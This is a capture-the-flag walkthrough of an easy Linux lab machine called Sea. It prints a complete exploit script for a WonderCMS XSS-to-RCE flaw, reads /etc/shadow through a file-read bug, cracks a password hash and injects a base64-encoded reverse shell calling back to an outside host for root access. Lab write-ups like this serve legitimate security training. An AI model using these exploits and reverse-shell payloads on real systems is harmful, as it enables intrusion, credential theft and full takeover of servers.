Machine Card listing Sea as an easy Linux box

Reconnaissance

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Browsing to the IP shows a webpage for a new company that organizes bike competitions. There seem to be two pages, Home and How to participate.

Webpage showing a logo with velik71 as name and a short description of the company

While trying to reach the contact form on the participation page, errors out because it tries to reach sea.htb/contact.php. Adding the domain to my /etc/hosts and refreshing the page solves the problem. The contact form requires a name, email, age, country and optionally a website. Using dummy data and my IP as a website, I do receive a callback on the HTTP listener I’ve set up.

Contact from with mandatory fields name, email, age and country, and the optional website

The banner image on the main page strikes me as odd and checking its location on the webserver returns /themes/bike/img/velik71-new-logotip.png. Searching for the filename online produces only one result. Its a forum post talking about the approval for a new theme in WonderCMS. The demo page shows the login URL to be /loginURL and the source code confirms that. Trying to access http://sea.htb/loginURL shows the login page, but the default password of admin does not work.

Screenshot showing a simple login field requiring just a password

Execution

Searching for recent exploits for WonderCMS (even though it does not expose a version number) finds CVE-2023-41425 with a PoC available. Apparently there’s a reflected XSS on the login form and that can be abused to make requests in the context of the logged in user. This leads to the installation of a plugin granting a reverse shell.

After cloning the PoC, I inspect the source code to see how it’s supposed to work. The script takes 3 input parameters, the URL of the login page, and the IP and port to connect to via the reverse shell. Then it uses those values to dynamically generate a Javascript file with the commands to be executed in the admin context before outputting the link to use and serving the file via HTTP on port 8000 (default for http.server).

https://github.com/prodigiousMind/CVE-2023-41425/blob/main/exploit.py
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE
 
 
import sys
import requests
import os
import bs4
 
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
 
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")
 
    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")

The reverse connection will be initiated with a custom module that gets loaded from Github in line 20. Since the box does not have a working internet connection, I download the archive and place it alongside the script in the current working directory as main.zip. Additionally I replace the link to the ZIP with http://10.10.10.10:8000/main.zip in the python script.

When running the script without arguments it shows the example usage specifying the URL as http://localhost/wondercms/loginURL instead of just /loginURL. Testing the full URL on sea.htb returns the login prompt as well so I decide to follow the example usage considering there’s quite some URL mangling within the exploit code.

python3 exploit.py http://sea.htb/wondercms/loginURL 10.10.10.10 8888
[+] xss.js is created
[+] execute the below command in another terminal
 
----------------------------
nc -lvp 8888
----------------------------
 
send the below link to admin:
 
----------------------------
http://sea.htb/wondercms/index.php?page=loginURL?"></form><script+src="http://10.10.10.10:8000/xss.js"></script><form+action="
----------------------------
 
 
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Shortly after I submit the URL via the contact form I can observe a callback to the xss.js followed by main.zip on the spawned web server. This confirms the vulnerability, but there’s no reverse shell.

Screenshot of the request in BurpSuite and the callbacks on the webserver for xss.js and main.zip

The XSS code tries to reach /wondercms/themes/revshell-main/rev.php and trying to access that via a browser just returns 404. From the previous enumeration I know that the themes are under /themes so dropping the /wondercms and going to http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.10.10&lport=8888 works, hangs and I receive a callback on the listener as www-data.

Privilege Escalation

Shell as amay

Besides root there are two other users with login shells configured on the host: amay and geo. Considering there was a login for WonderCMS I’m going to check there for credentials first. The CMS keeps its configuration stored in database.js1 within the subfolder data. On this machine the CMS is placed into /var/www/sea and there I can find a hash for the admin user on the web application.

/var/www/sea/data/database.js
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
--- SNIP ---

Cracking the hash (removing the backslashes) with john and rockyou.txt reveals the password mychemicalromance. The password works for amay and I can login via SSH to collect the first flag.

Shell as root

Apart from the regular webserver hosting the CMS, there seems to be another one on port 8080, that I can identify through showing the open TCP ports with ss -tulpn. Just trying to access it via curl returns 401 Unauthorized since it does require Basic Authentication.

curl -v http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 401 Unauthorized
< Host: 127.0.0.1:8080
< Date: Sun, 11 Aug 2024 11:42:14 GMT
< Connection: close
< X-Powered-By: PHP/7.4.3-4ubuntu2.23
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-type: text/html; charset=UTF-8
< 
* Closing connection 0
Unauthorized access

In order to access it from my local machine I redo the SSH connection and specify -D 1080 to open a SOCKS proxy. Going through the proxy to port 8080 asks for an username and password. Providing the credentials for amay works and I’m logged into a System Monitor.
It show the current disk usage and has several features to interact with the system, like clearing logs, checking logs and updating the system.

System monitor showing the disk usage and buttons for several features

As soon as I click on the Analyze button with access.log chosen, I can observe and POST request with parameters log_file with value /var/log/apache2/access.log and analyze_log but being empty. From the network tab within Firefox I can copy the request as curl command. That allows me to modify the request easily and I try to access something like /etc/passwd and /etc/shadow to check if reading other files is possible and if the server is running in the context of the root user.

# Trying to read /etc/passwd
proxychains -q curl 'http://127.0.0.1:8080' \
                    -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' \
                    --data-raw 'analyze_log=&log_file=/etc/passwd'
 
--- SNIP ---
            </form>
            gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
<p class='error'>Suspicious traffic patterns detected in /etc/passwd:</p><pre>_laurel:x:997:997::/var/log/laurel:/bin/false</pre>        </div>
 
    </div>
</body>
</html>
 
 
# Trying to read /etc/shadow
proxychains -q curl 'http://127.0.0.1:8080' \
                    -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' \
                    --data-raw 'analyze_log=&log_file=/etc/shadow'
 
--- SNIP ---
            </form>
            systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
systemd-coredump:!!:19774::::::
amay:$6$S1AGe5ex2k4D5MKa$gTclSeJwvND3FINpZaK0zfUqk6T9IkhlxCn17fNWLx56u.zP/f/4e5YrJRPsM3TRuuKXQDfYL44RyPzduexsm.:19775:0:99999:7:::
<p class='error'>Suspicious traffic patterns detected in /etc/shadow:</p><pre>amay:$6$S1AGe5ex2k4D5MKa$gTclSeJwvND3FINpZaK0zfUqk6T9IkhlxCn17fNWLx56u.zP/f/4e5YrJRPsM3TRuuKXQDfYL44RyPzduexsm.:19775:0:99999:7:::</pre>        </div>
 
    </div>
</body>
</html>

Based on the output I can read any file as the user root, at least parts of the files since there are definitely lines missing. The HTML output suggests that it’s looking for Suspicious traffic patterns so there could be some kind of filtering in place. Maybe the source code of the application might be providing further information.
The output of ps only shows the processes belonging to the current context and the application is not served by the Apache webserver like the CMS. Listing the currently running services with systemctl finds a likely candidate and checking its service file reveals the path to the application in /root/monitoring.

systemctl list-units --type=service --state=running --no-pager --no-legend | grep Monitoring
monitoring-watchdog.service loaded active running Monitoring Service Watchdog                                 
monitoring.service          loaded active running System Monitoring Developing
 
systemctl cat monitoring.service
 
# /etc/systemd/system/monitoring.service
[Unit]
Description=System Monitoring Developing
After=network.target
 
[Service]
User=root
Group=root
ExecStart=/usr/bin/php -S localhost:8080 -t /root/monitoring
WorkingDirectory=/root/monitoring
Restart=always
 
[Install]
WantedBy=multi-user.target

The default page served is the index.php and using the previous curl command to read /root/monitoring/index.php returns part of the code, just enough to spot the obvious command injection vulnerability.

proxychains -q curl 'http://127.0.0.1:8080' \
                    -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' \
                    --data-raw 'analyze_log=&log_file=/root/monitoring/index.php'
 
--- SNIP ---    
            </form>
                <title>System Monitor(Developing)</title>
        <h1>System Monitor(Developing)</h1>
            $disk_usage = system('df -h / | grep "/"');
            <h2>System Management</h2>
                <button type="submit" name="clean_apt" class="button">Clean system with apt</button>
                <button type="submit" name="update_system" class="button">Update system</button>
                    $output = system('sudo apt clean');
                if (isset($_POST['update_system'])) {
                    $output = system('sudo apt update -y && sudo apt upgrade -y');
                    $output = system('sudo truncate -s 0 /var/log/auth.log');
                    $output = system('sudo truncate -s 0 /var/log/apache2/access.log');
                $suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'");
                } else {
<p class='error'>Suspicious traffic patterns detected in /root/monitoring/index.php:</p><pre>                } else {</pre>        </div>
 
    </div>
</body>
</html>

The value of the log_file parameter is directly passed into a call to system. Modifiying the the parameter to include a reverse shell works as expected and a shell in the context of the root user is obtained.

proxychains -q curl 'http://127.0.0.1:8080' \
                    -H 'Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==' \
                    --data-raw 'analyze_log=&log_file=/root/monitoring/index.php;echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0NCAwPiYx"|base64 -d|bash'
 
# Catch the reverse shell
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.246.13] 46878
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#

Attack Path

flowchart TD

subgraph "Execution"
    A(Contact Form) -->|CVE-2023-41425 XSS| B(Shell as www-data)
end

subgraph "Privilege Escalation"
    B -->|Credentials in Database crackable| C(Shell as amay)
    C -->|SOCKS Proxy| D(Access to internal System Monitor)
    D -->|Command Injection| E(Shell as root)
end

Footnotes

  1. Default database.js